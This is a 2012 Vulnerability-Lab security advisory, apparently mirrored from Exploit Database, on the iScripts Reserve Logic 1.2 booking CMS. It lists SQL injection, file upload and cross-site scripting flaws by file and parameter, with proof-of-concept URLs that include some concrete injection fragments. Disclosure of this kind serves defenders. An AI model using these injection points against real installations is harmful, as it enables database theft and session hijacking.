Reserve Logic 1.2 Booking CMS – Multiple Vulnerabilities

Exploit Database
111 阅读

作者： Vulnerability-Lab

日期： 2012-07-12
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/19775/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

Title:

======

Reserve Logic v1.2 Booking CMS - Multiple Vulnerabilities

Date:

=====

2012-06-18

References:

===========

http://www.vulnerability-lab.com/get_content.php?id=617

VL-ID:

=====

617

Common Vulnerability Scoring System:

====================================

8.5

Introduction:

=============

iScripts ReserveLogic offers an online web based reservation system for the hospitality industry for service providers.

This turn-key reservation system allows you to start online reservation and customer management in minutes.

Flexible Reservation Software. iScripts ReserveLogic is designed to simplify the task of online booking. It provides

users a unique, intuitive and easy to use interface that improves the way people use the web today. Through personalization

and rich features, iScripts ReserveLogic enhances the entire Web experience.

Online Reservation system for:

- Hotel reservation

- Motel reservation

- Time share booking

- Bed and Breakfasts

- Vacation Rental

- Resort reservation

- Camp grounds

- Tour and Travel Company

- Open source script – No encryption

- Multiple themes and layouts

- Highly scalable

- Easy to install using an install wizard

- Easy to use interface

- Powerful administration panel

- Easy to customize

iScripts ReserveLogic can help you set up an online hotel reservation system at a very affordable price. We also provide

updates and free technical support for one year. This online reservation script is designed to improve the conversion of

your website visitors and transform them into your own customers. ReserveLogic works to increase your sales around the clock.

This open source PHP software is very scalable; it supports multiple destinations and multiple properties. So if you have a bed

and breakfast, hotel, motel, or a multi destination and property resort chain, our company’s reservation software will serve your needs.

(Copy of the Vendor Homepage: http://www.iscripts.com/reservelogic/ )

Abstract:

=========

The Vulnerability Laboratory Research Team discovered multiple different web vulnerabilites in iScripts Reserve Logic v1.2 Booking CMS.

Report-Timeline:

================

2012-04-18: Public or Non-Public Disclosure

Status:

========

Published

Affected Products:

==================

iScripts

Product: Reserve Logic (Booking) CMS v1.2

Exploitation-Technique:

=======================

Remote

Severity:

=========

Critical

Details:

========

1.1

Multiple remote blind and standard SQL Injection vulnerabilities are detected in iScripts Reserve Logic v1.2 Booking CMS.

The vulnerability allows an attacker (remote) to inject/execute own sql commands on the affected application dbms.

The vulnerabilities are located in the packagedetails.php, booking_report.php, users_report.php,editenquiries.php,

addclientlocations.php, addcustomers.php, addaccomtypeavailability.php, addspecialoffer.php & booking_report.php files.

The vulnerable bound parameters of the files are id, rghtMenu, pid & oderby.Successful exploitation of the vulnerability

results in dbms, service & application compromise.

Vulnerable Files(s):

[+] packagedetails.php

[+] booking_report.php

[+] users_report.php

[+] editenquiries.php

[+] addclientlocations.php

[+] addcustomers.php

[+] addpackages.php

[+] addaccomtypeavailability.php

[+] booking_report.php

[+] addspecialoffer.php

Vulnerable Parameter(s):

[+] id

[+] rghtMenu

[+] pid

[+] orderby

1.2

A arbitrary file upload vulnerability is detected in iScripts Reserve Logic v1.2 Booking Content Management System.

The vulnerability allows a privileged user account to upload malicious files without restriction. The uploaded files

are not parsed & attackers can also upload for example web shells and access them out of the unrestricted web folder.

The vulnerability is located in the addlocationphotos.php (image) file. The input get saved to the unrestricted

../galleryimages/ application path. Successful exploitation of the vulnerability result in an arbitrary file upload.

Vulnerable Files(s):

[+] addlocationphotos.php

Vulnerable Module(s):

[+] ../galleryimages/

1.3

Multiple persistent input validation vulnerabilities are detected in iScripts Reserve Logic v1.2 Booking Content Management System.

The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent

vulnerabilities are located in the addpackages.php, add_news.php, add_banner.php or addaccomtypeavailability.php with the bound

vulnerable parameters title & name. Exploitation requires low user inter action & privileged application user account. Successful

exploitation of the vulnerability can lead to session hijacking (admin) or stable (persistent) context manipulation.

Vulnerable Files(s):

[+] addpackages.php

[+] add_news.php

[+] add_banner.php

[+] addaccomtypeavailability.php

[+] addcustomers.php

Vulnerable Module(s):

[+] Title & Name

1.4

Multiple non persistent cross site scripting vulnerabilities are detected in iScripts Reserve Logic v1.2 Booking Content Management System.

The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter

action or local low privileged user account.The bugs are located in the locationdetails.php, bookings.php, addpackages.php,

addaccomtypeavailability.php, add_news.php, add_banner.php & editfeedback.php files with the bound vulnerable parameters nid, id, nBId,

mbSearch, postsearch, txtkey, page & did. Successful exploitation can result in account steal, client side phishing & client-side content

request manipulation. Exploitation requires low user inter action or low privileged application user account.

Vulnerable File(s):

[+] locationdetails.php

[+] bookings.php

[+] addpackages.php

[+] add_news.php

[+] addaccomtypeavailability.php

[+] add_banner.php

[+] editfeedback.php

Vulnerable Parameter(s):

[+] nid

[+] id

[+] nBId

[+] mbSearch, postsearch & txtkey

[+] page

[+] did

Proof of Concept:

=================

1.1

The blind and standard SQL Injection vulnerabilities can be exploited by remote attacker with & without privileged user account.

User inter action is not required for exploitation. For [PATH]nstration or reproduce ...

http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4+[SQL-INJECTION]AND+substring(version(),1)=5

http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&[SQL-INJECTION]Union+select+1,2,3,4,5...30--%20-

0&sort=x&txtFromDate=x&txtToDate=x

http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&orderby=-1%27[SQL-INJECTION]

&sort=ASC&txtFromDate=05-17-2012&txtToDate=06-16-2012

http://127.0.0.1:1337/reservelogic/[PATH]/admin/users_report.php?rghtMenu=rghtMenu3&orderby=[SQL-INJECTION]dDatejoin

&sort=ASC&txtFromDate=05-17-2012&txtToDate=06-16-2012

Blind SQL injection - Pre Auth

http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4+[BLIND SQL-INJECTION]

http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4[BLIND SQL-INJECTION]

+AND+substring(version(),1)=5

Blind SQL injection - Auth

http://127.0.0.1:1337/reservelogic/[PATH]/admin/editenquiries.php?id=7[BLIND SQL-INJECTION]

&postsearch=S&cmbSearch=&page=1&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addclientlocations.php?id=23[BLIND SQL-INJECTION]

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php?id=65[BLIND SQL-INJECTION]

+AND+1=2&postsearch=S&cmbSearch=&page=1&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5[BLIND SQL-INJECTION]

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5+AND+1=2[BLIND SQL-INJECTION]

&postsearch=S&cmbSearch=&page=1&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php?id=72[BLIND SQL-INJECTION]

http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&[BLIND SQL-INJECTION]

&sort=ASC&txtFromDate=x&txtToDate=x

http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&AND+1=1[BLIND SQL-INJECTION]

&sort=ASC&txtFromDate=x&txtToDate=x

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addspecialoffer.php?id=4[BLIND SQL-INJECTION]

&postsearch=S&cmbSearch=&page=1&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addspecialoffer.php?id=4'[BLIND SQL-INJECTION]

&postsearch=S&cmbSearch=&page=1&txtkey=

1.2

The arbitrary file upload vulnerability can be exploited by local priviliged user account without required user inter action.

For demonstration or reproduce ...

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addlocationphotos.php

Execution > http://127.0.0.1:1337/reservelogic/[PATH]/admin/galleryimages/

1.3

The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged user account& low

user inter action. For demonstration or reproduce ...

Note: To reproduce the issue inject your own script code to the title input fields (Title or Name) and watch the affected vulnerable output listing.

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php

http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_news.php

http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_banner.php

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php

Review: Add Package - Title

<td class="dashedline2 maintext2">Title</td>

<font

color="#FF0000">*</font></td>

Review: Add Banner - MainTitle

<td class="dashedline3 maintext2" width="27%"><a href="http:///"><iframe src="https://www.exploit-db.com/exploits/19775/banner.php-Dateien/x.htm" [PERSISTENT SCRIPT CODE])'

<"="" target="_blank" class="thumbnail"><img

Review: Special Offer - Title

<td class="dashedline2 maintext2" width="26%">Title <font color="#FF0000">*</font></td>

<td class="dashedline3" width="74%"><input name="txtTitle" class="textbox" size="47" value="\"

type="text"><iframe src="https://www.exploit-db.com/exploits/19775/addspecialoffer.php-Dateien/x.htm" [PERSISTENT SCRIPT CODE]' <"=""></td>

1.4

The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required user inter action.

For [PATH]nstration or reproduce ...

http://127.0.0.1:1337/reservelogic/[PATH]/locationdetails.php?did=[CROSS SITE SCRIPTING]

http://127.0.0.1:1337/reservelogic/[PATH]/admin/bookings.php?page=[CROSS SITE SCRIPTING]

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=&page=1&txtkey=[CROSS SITE SCRIPTING]

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=&page=[CROSS SITE SCRIPTING]&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=[CROSS SITE SCRIPTING]&page=1&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=[CROSS SITE SCRIPTING]&cmbSearch=&page=1&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=[CROSS SITE SCRIPTING]

http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_news.php?nid=[CROSS SITE SCRIPTING]&page=1

http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php?id=[CROSS SITE SCRIPTING]&postsearch=S&cmbSearch=&page=1&txtkey=

http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_banner.php?nBId=[CROSS SITE SCRIPTING]&page=1

http://127.0.0.1:1337/reservelogic/[PATH]/admin/editfeedback.php?id=[CROSS SITE SCRIPTING]&postsearch=S&cmbSearch=&page=1&txtkey=

Risk:

=====

1.1

The security risk of the sql injection vulnerabilities are estimated as critical.

1.2

The security risk of the arbitrary file upload vulnerability is estimated as medium(+).

1.3

The security risk of the persistent input validation vulnerabilities are estiamted as medium(+).

1.4

The security risk of the non-persistent cross site scripting vulnerabilities are estiamted as low(+).

Credits:

========

Vulnerability Laboratory [Research Team]- Ibrahim El-Sayed [storm] (strom@vulnerability-lab.com)

Vulnerability Laboratory [Research Team]- Benjamin Kunz Mejri (bkm@vulnerability-lab.com)

Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-

Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business

profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some

states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation

may not apply.

Domains: www.vulnerability-lab.com - www.vuln-lab.com

Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com

Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com

Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.

Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other

media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and

other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),

modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

VULNERABILITY RESEARCH LABORATORY TEAM

Website: www.vulnerability-lab.com

Mail: research@vulnerability-lab.com